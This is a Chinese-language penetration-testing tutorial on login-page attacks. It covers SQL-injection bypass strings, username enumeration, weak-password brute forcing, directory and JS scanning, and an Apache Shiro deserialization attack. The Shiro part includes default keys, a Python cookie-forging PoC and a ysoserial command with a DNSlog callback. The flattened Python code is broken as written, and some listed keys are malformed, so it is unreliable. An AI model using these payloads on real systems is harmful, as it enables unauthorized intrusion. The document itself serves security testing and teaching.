登录页面可能产生哪些漏洞呢?
1、注入点及万能密码登录
2、登录时,不安全的用户提示:比如提示用户名不存在或者密码验证码错误
3、查看登录页面源代码,看是否存在敏感信息泄露
4、不安全的验证码
5、在注册账号的时候,是否存在不安全的提示
6、不安全的密码,在注册账号的时候密码没有限制复杂度
7、任意无限注册账号
8、在暴力破解的时候不会限制ip,锁定用户
9、一个账号可以在多地登录,没有安全提示
10、账户登录之后,没有具备超时功能
11、OA,邮件,默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强制要求更改密码
12、逻辑漏洞,任意更改密码
13、越权漏洞,纵向、横向越权
14、数据包含有风险信息泄露,比如COOKIE
15、不安全的数字传输,密码为明文,未使用https证书
16、任意文件下载
登陆页面渗透测试常见的几种思路与总结
我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有测试账号,让你自己进行渗透测试,一开始经验不足的话,可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下,来进行渗透测试。
1、在条件允许的情况下,我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描,目前我们最常用的就是AWVS和Nessus,除此之外,我们还可以使用一些别的自动化测试工具,例如Nikto扫描器,Appscan,W3af,以及最近长亭科技的Xray扫描器,都可以试试。尤其是Xray扫描器,据说有许多小伙伴靠它挖到了许多漏洞。
以下是这些工具的一些使用方法,不进行赘述 Nikto Nikto漏洞扫描工具简介 - 知乎 Xray 将重定向到 xray 新文档站点 W3af 访问的文章审核中... - FreeBuf网络安全行业门户 Appscan web安全扫描工具--Appscan使用 - 知乎
2、SQL注入
万能密码绕过
如果我们能够直接绕过登录,来直接访问系统内部资源,那自然是最好不过的了。万能密码就是其中一最好用的一种,虽然存在的可能性不大,但是偶尔也是存在的,稍微尝试一下也不会浪费太多时间。
例如admin'or 1=1 --
"or "a"="a
万能密码在网上非常多,随便搜一下就有
例如这样,就能直接访问后台
3、登录口SQL注入
有的系统在登录口就存在SQL注入,目前我遇到过比较多的是Oracle以及MySQL的登录口注入,我们可以在登录处先抓一个包,然后根据抓包信息来构造Payload。值得一提的是,有时候我们需要在Burp里修改一下发包格式(change body encoding),才能成功注入。
在这给个例子:
正常登录报
加一个引号
修改payload,以此返回数据包不同来判断存在SQL注入。
并且,这类的SQL注入并不罕见,在许多网站中都可以进行尝试,很有可能会存在此漏洞
4、明文传输/用户名可枚举/爆破弱口令
明文传输
可能是我们做渗透测试中,最常见的一种漏洞,实际上它并不能算得上是一种漏洞,仅仅只能说是一种不足之处而已,明文传输在网站上随处可见,除了银行网站,很有可能每一个密码都是经过特殊加密然后再进行传输的。
用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破。防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错。
爆破弱口令
弱口令可以说是渗透测试中,最最常见,也是危害“最大”的一种漏洞,因为毫无技术性,毫无新意,但是却充满了“破坏性”,尤其是在内网环境中,弱口令更是无处不在。Web页面最常用的爆破工具为Burp,我们通常使用Nmap扫描也可能扫出其他端口存在,例如3389,SSH等。
弱口令爆破工具推荐,详情可看以下,不在赘述:
Hydra:文章-阿里云开发者社区-云计算社区-阿里云
超级弱口令:链接:百度网盘 请输入提取码 提取码:blj3
复制这段内容后打开百度网盘手机App,操作更方便哦
御剑RDP爆破: https://github.com/foryujian/yujianrdpcrack
Bruter: Bruter:密码暴力破解工具 - 体验盒子 - 不再关注网络安全
此外,我们还可以根据网站域名,以及收集的一些信息来进行定制化爆破,例如我在一次内网渗透测试中,发现了管理员的名字缩写为crj,然后我就生成了一堆密码,最后成功登陆账号密码为crj112233。
定制化生成字典: http://tools.mayter.cn/
字典: GitHub - rootphantomer/Blasting_dictionary: 爆破字典
还有很多字典,可以在网上多收集一些,有时候你离Getshell,仅仅只差一个弱口令。
此外,有时候我们还可能遇到存在默认密码的系统,在这给出一些网上公开的默认账户密码
5、扫描
目录扫描
在我看来,这是最好用的目录扫描工具:https://github.com/maurosoria/dirsearch ,DirSearch已经成为了我日常渗透工作中密不可分的工具之一,并且我们可以多级别扫描,在枚举子目录的目录,很多时候可以找到突破口。
JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的。JS扫描的话推荐使用JSFind: GitHub - Threezh1/JSFinder: JSFinder is a tool for quickly extracting URLs and subdomains from JS files on a website.
同时它也会提取页面中的URL,
nmap扫描
Nmap的强大功能能让我们第一时间获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测,Nmap的使用方法相比不需要我再多说,每个安全工程师都必须要精通的一种工具,以下是我的一些端口小总结,希望可以给与大家一点儿帮助。
在扫描目录与JS这块,要注意多次爆破,遍历访问多级域名的目录与JS。
我就曾在一个学校网站中,使用Nmap对批量网段的探测,获得了一个登陆网站,并且在网站中遍历目录,获得了一个test页面,最后在这个页面的JS文件中,获取到了一个接口,通过这个接口重置了主登录页面的密码。
6、框架漏洞
寻找CMS,或者网页框架,以及某些厂商的服务存在漏洞
例如Apache中间件组件Shiro反序列化漏洞,这里简单说一下:
需要一个ysoserial.jar https://github.com/frohoff/ysoserial
以及默认秘钥
4AvVhmFLUs0KTA3Kprsdag==
2AvVhdsgUs0FSA3SDFAdag==
2AvVhdDFCVdfdfDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
kPH+bIxk5D2deZiIxcaaaA
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==
AsfawfsdfaAasdWWW==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
POC
from Crypto.Cipher import AES
from Crypto import Random
from base64 import b64encode
from base64 import b64decode
BS = AES.block_sizepad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)def encrypt(key, text): IV = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, IV=IV) data = b64encode(IV + cipher.encrypt(pad(text))) return datakey= b64decode('2AvVhdsgUs0FSA3SDFAdag==')print encrypt(key, open('payload.dat','rb').read())
使用方法
1:java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator client功能中">payload.dat
2:运行python脚本,生成cookie
3:将cookie复制到burp发包,此时DNSlog就会记录,我们可以再次构造进行命令执行,在这不进行深入。
致远A8-getshell: https://www.cnblogs.com/dgjnszf/p/11104594.html
Thinkphp: https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Struts2: https://github.com/HatBoy/Struts2-Scan
weblogic: https://github.com/rabbitmask/WeblogicScan
以及各大Java反序列化漏洞等等,这里的漏洞都说不完了。